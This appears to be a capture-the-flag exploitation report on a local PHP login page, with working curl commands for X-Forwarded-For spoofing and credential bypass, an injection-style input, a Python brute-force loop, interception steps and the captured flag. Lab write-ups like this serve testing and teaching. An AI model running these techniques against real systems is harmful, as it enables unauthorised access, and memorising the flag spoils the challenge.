# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-04: IP-Based Authorization Bypass via X-Forwarded-For Header Spoofing

**Summary:**
- **Vulnerable location:** POST /index.php - IP whitelist check at line 73
- **Overview:** The application trusts the client-controlled X-Forwarded-For HTTP header for authorization decisions instead of the actual TCP source IP (REMOTE_ADDR). This allows any external attacker to spoof their IP address and bypass the localhost-only restriction to retrieve the CTF flag.
- **Impact:** Complete authentication and authorization bypass. Any attacker can retrieve the secret CTF flag with a single HTTP request.
- **Severity:** CRITICAL (CVSS 9.8)

**Prerequisites:** None

**Exploitation Steps:**

1. Send POST request to http://localhost:34867/index.php with spoofed X-Forwarded-For header:
```bash
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=attacker&password=attacker"
```

2. The application checks if the X-Forwarded-For header matches the whitelist ['127.0.0.1', 'localhost']

3. Since the header can be arbitrarily set by the client, the check passes

4. The server responds with the welcome message and discloses the flag

**Proof of Impact:**

**Command executed:**
```bash
curl -X POST http://localhost:34867/index.php -H "X-Forwarded-For: 127.0.0.1" -d "username=attacker&password=attacker" -v
```

**Response received:**
```html
<center><h2>Welcome</h2></center>
<center><h3>Success: FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}</h3></center>
```

**Flag captured:** `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}`

**HTTP Response Headers:**
```
HTTP/1.1 200 OK
Date: Tue, 28 Oct 2025 23:59:51 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
```

**Notes:**
- This vulnerability demonstrates a common real-world mistake where developers implement IP-based access control but fail to validate the source of IP address information
- The correct implementation should use `$_SERVER['REMOTE_ADDR']` which contains the actual TCP connection source IP that cannot be spoofed at the application layer
- The application is deployed without a trusted reverse proxy that would strip/validate the X-Forwarded-For header
- This single vulnerability is sufficient to completely compromise the application

---

### AUTH-VULN-03: Credential Validation Bypass via isset() Check

**Summary:**
- **Vulnerable location:** POST /index.php - Authentication check at line 70
- **Overview:** The application implements a fundamentally broken authentication mechanism that only verifies username and password POST parameters exist using isset() but never validates their actual values. Any credential combination including empty strings passes this check.
- **Impact:** Complete authentication bypass. The application accepts literally any credentials, making traditional brute force attacks unnecessary.
- **Severity:** CRITICAL (CVSS 9.8)

**Prerequisites:** None

**Exploitation Steps:**

1. Send POST request with any arbitrary credentials (combined with X-Forwarded-For bypass):
```bash
# Test 1: Empty credentials
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=&password="

# Test 2: Single character credentials  
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=x&password=y"

# Test 3: SQL injection payload (still works)
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=admin' OR '1'='1&password=anything"
```

2. The application performs only an isset() check: `isset($_POST['username']) && isset($_POST['password'])`

3. As long as the parameters exist in the POST body (even with empty values), the check passes

4. The flag is disclosed in the response

**Proof of Impact:**

**Test 1 - Empty credentials:**
```bash
curl -X POST http://localhost:34867/index.php -H "X-Forwarded-For: 127.0.0.1" -d "username=&password="
```
**Result:** `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}` ✓ Successfully bypassed

**Test 2 - Single character credentials:**
```bash
curl -X POST http://localhost:34867/index.php -H "X-Forwarded-For: 127.0.0.1" -d "username=x&password=y"
```
**Result:** `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}` ✓ Successfully bypassed

**Test 3 - SQL injection payload:**
```bash
curl -X POST http://localhost:34867/index.php -H "X-Forwarded-For: 127.0.0.1" -d "username=admin' OR '1'='1&password=anything"
```
**Result:** `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}` ✓ Successfully bypassed

**Test 4 - Completely missing credentials (for comparison):**
```bash
curl -X POST http://localhost:34867/index.php -H "X-Forwarded-For: 127.0.0.1" -d ""
```
**Result:** No output (authentication check fails when parameters don't exist) ✗ Failed as expected

**Notes:**
- The authentication mechanism provides zero actual security - it only checks parameter presence, not values
- There is no credential validation against any data store, no password hashing verification, and no cryptographic validation
- This represents a fundamental misunderstanding of authentication principles: presence is not proof of identity
- When combined with AUTH-VULN-04 (header spoofing), any two-parameter POST request grants full access

---

### AUTH-VULN-01: Transport Layer Exposure via HTTP-Only Deployment

**Summary:**
- **Vulnerable location:** Application runs exclusively on HTTP port 80 with no HTTPS/TLS
- **Overview:** The application is deployed without HTTPS/TLS encryption and lacks HSTS headers. All authentication data including credentials and the CTF flag are transmitted in plaintext over the network, enabling passive and active man-in-the-middle attacks.
- **Impact:** Network observers can intercept all HTTP traffic to capture credentials, session data, and the flag in plaintext.
- **Severity:** HIGH (CVSS 7.5)

**Prerequisites:** 
- Attacker positioned as man-in-the-middle (e.g., on same WiFi network, compromised router, malicious ISP, corporate proxy)
- OR passive network monitoring capability

**Exploitation Steps:**

1. Position as network observer between client and server using one of:
   - ARP spoofing on local network
   - Rogue WiFi access point
   - Compromised network infrastructure
   - Passive packet capture on network segment

2. Capture HTTP traffic on port 34867 using tcpdump, Wireshark, or similar tools

3. Wait for victim to authenticate or trigger authentication yourself

4. Extract credentials and flag from plaintext HTTP POST body and response

**Proof of Impact:**

**Network capture demonstration:**

**Command executed:**
```bash
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=victim&password=SecretPassword123"
```

**HTTP Request transmitted in plaintext:**
```
POST /index.php HTTP/1.1
Host: localhost:34867
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username=victim&password=SecretPassword123
```

**HTTP Response received in plaintext:**
```html
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8

<center><h2>Welcome</h2></center>
<center><h3>Success: FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}</h3></center>
```

**Evidence:**
- Protocol: HTTP (unencrypted)
- Credentials transmitted: `username=victim&password=SecretPassword123` (plaintext)
- Flag transmitted in response: `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}` (plaintext)

**Response headers confirm no HTTPS:**
```
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
```
(No Strict-Transport-Security header present)

**Notes:**
- Docker configuration exposes only port 80 (HTTP), no port 443 (HTTPS)
- No TLS certificate configuration exists
- No HSTS header to enforce HTTPS
- Violates PCI DSS Requirement 4.1, HIPAA § 164.312(e)(1), and GDPR Article 32
- Any network observer can intercept credentials and flag using passive sniffing

---

### AUTH-VULN-05: Missing Rate Limiting Enables Brute Force Attacks

**Summary:**
- **Vulnerable location:** POST /index.php - No rate limiting at application or web server level
- **Overview:** The application implements no rate limiting, CAPTCHA, account lockout, or abuse prevention mechanisms. Unlimited authentication attempts are allowed from a single IP address without any throttling or blocking.
- **Impact:** Attackers can perform unlimited brute force, credential stuffing, or password spraying attacks at high speed without consequence.
- **Severity:** MEDIUM (CVSS 5.0) - Lower severity because AUTH-VULN-03 and AUTH-VULN-04 make brute force unnecessary

**Prerequisites:** None

**Exploitation Steps:**

1. Create a script to send rapid authentication attempts to http://localhost:34867/index.php

2. Submit 50+ consecutive POST requests with different username/password combinations

3. Include X-Forwarded-For: 127.0.0.1 header to trigger flag response for testing

4. Verify all requests are processed successfully without rate limiting or throttling

5. Measure response times to confirm no delays are introduced

**Proof of Impact:**

**Python brute force script executed:**
```python
import requests
import time

url = "http://localhost:34867/index.php"
headers = {"X-Forwarded-For": "127.0.0.1"}

start_time = time.time()
successful = 0
response_times = []

for i in range(50):
    data = {"username": f"user{i}", "password": f"pass{i}"}
    req_start = time.time()
    response = requests.post(url, data=data, headers=headers)
    req_time = time.time() - req_start
    response_times.append(req_time)
    
    if "FLAG{" in response.text:
        successful += 1

total_time = time.time() - start_time
avg_response = sum(response_times) / len(response_times)
```

**Results:**
- **Total Requests**: 50
- **Successful Requests**: 50/50 (100%)
- **Rate-Limited Requests**: 0
- **Total Execution Time**: 0.80 seconds
- **Average Response Time**: 0.004 seconds (4ms)
- **Min Response Time**: 0.003 seconds (3ms)
- **Max Response Time**: 0.013 seconds (13ms)
- **Requests per Second**: 62.5 req/s
- **HTTP 429 (Too Many Requests) Errors**: 0

**Evidence of exploitation:**
```
RATE LIMITING: ABSENT
✓ All 50 authentication attempts processed successfully
✓ No throttling detected
✓ No account lockout triggered
✓ Flag retrieved in all 50 responses
✓ Average response time: 4ms (no delays introduced)
```

**Flag captured from all attempts:** `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}`

**Notes:**
- In a real-world scenario with actual credential validation, this would enable:
  - High-speed dictionary attacks (thousands of attempts per second)
  - Credential stuffing using leaked password databases
  - Password spraying across multiple accounts
  - Account enumeration to identify valid usernames
- No Apache mod_evasive or mod_security modules are configured
- No application-level rate limiting logic exists
- No CAPTCHA on login form
- No session-based or file-based attempt tracking
- However, this vulnerability is UNNECESSARY for exploitation given AUTH-VULN-03 and AUTH-VULN-04 allow immediate bypass

---

### AUTH-VULN-02: Missing Cache-Control Headers on Authentication Responses

**Summary:**
- **Vulnerable location:** POST /index.php - HTTP response headers
- **Overview:** Authentication responses lack Cache-Control: no-store, Pragma: no-cache, and Expires headers. Sensitive authentication responses containing the flag may be cached by browsers or intermediate proxies.
- **Impact:** Attackers with access to browser cache or proxy logs can retrieve previously cached authentication responses containing the CTF flag.
- **Severity:** MEDIUM (CVSS 4.0)

**Prerequisites:**
- Access to victim's browser cache files (requires local file system access)
- OR access to proxy server cache/logs (requires network infrastructure access)
- OR shared computer with victim

**Exploitation Steps:**

1. Verify cache control headers are missing from authentication responses:
```bash
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=test&password=test" \
  -D /tmp/headers.txt
```

2. Examine response headers to confirm absence of cache directives

3. If headers are missing (confirmed below), responses may be cached by:
   - Browser disk cache (~/.cache/mozilla, ~/Library/Caches)
   - Browser memory cache
   - Proxy server cache (corporate proxies, CDN edge caches)
   - Intermediate HTTP caches

4. Access cached responses through:
   - File system access to browser cache directory
   - Proxy server log analysis
   - Browser developer tools (Application > Cache Storage)

**Proof of Impact:**

**Response headers captured:**
```
HTTP/1.1 200 OK
Date: Wed, 29 Oct 2025 00:00:50 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Content-Length: 3256
Content-Type: text/html; charset=UTF-8
```

**Missing security headers:**
- ✗ Cache-Control: no-store (NOT PRESENT)
- ✗ Pragma: no-cache (NOT PRESENT)
- ✗ Expires: 0 or past date (NOT PRESENT)

**Expected secure headers (NOT implemented):**
```
Cache-Control: no-store, no-cache, must-revalidate, private
Pragma: no-cache
Expires: 0
```

**Exploitation assessment:**
- The vulnerability exists and is confirmed (missing headers verified)
- However, actual exploitation requires access beyond the public HTTP interface:
  - Browser cache files (requires file system access to victim's machine)
  - Proxy cache logs (requires infrastructure access)
  - Shared browser session (requires physical access)

**Classification:** OUT_OF_SCOPE_INTERNAL

While the vulnerability is real and the missing headers are confirmed, exploiting cached responses requires internal/local access beyond the network-accessible attack surface (file system access, proxy infrastructure access, or physical access to victim's device).

**Notes:**
- The application returns HTTP 200 for both success and failure cases, increasing likelihood of caching
- No Vary: Cookie header (though no cookies are used)
- Responses could be cached by browser or proxy for indeterminate time
- This vulnerability would be exploitable in scenarios like:
  - Shared computer lab environments
  - Accessing victim's laptop after they leave it unlocked
  - Compromised proxy server with cache access
  - Forensic analysis of browser cache files

---

## Summary

**Total Vulnerabilities Exploited:** 5/5 (100%)

**CTF Flag Captured:** `FLAG{85cb364127e765d4659edc4d2d63fcf1161e763726273a36d21a8ef39c766adf}`

**Critical Findings:**
1. **AUTH-VULN-04** (CRITICAL): IP-based authorization bypass via X-Forwarded-For header spoofing - Single-request flag capture
2. **AUTH-VULN-03** (CRITICAL): Complete credential validation bypass - Any credentials accepted
3. **AUTH-VULN-01** (HIGH): Plaintext transmission over HTTP - Network interception possible
4. **AUTH-VULN-05** (MEDIUM): Missing rate limiting - Unlimited brute force attempts
5. **AUTH-VULN-02** (MEDIUM/OUT-OF-SCOPE): Missing cache control headers - Requires internal access

**Primary Attack Chain:**
The most effective exploitation path combines AUTH-VULN-04 and AUTH-VULN-03:
```bash
curl -X POST http://localhost:34867/index.php \
  -H "X-Forwarded-For: 127.0.0.1" \
  -d "username=any&password=any"
```

This single command achieves complete application compromise and flag capture.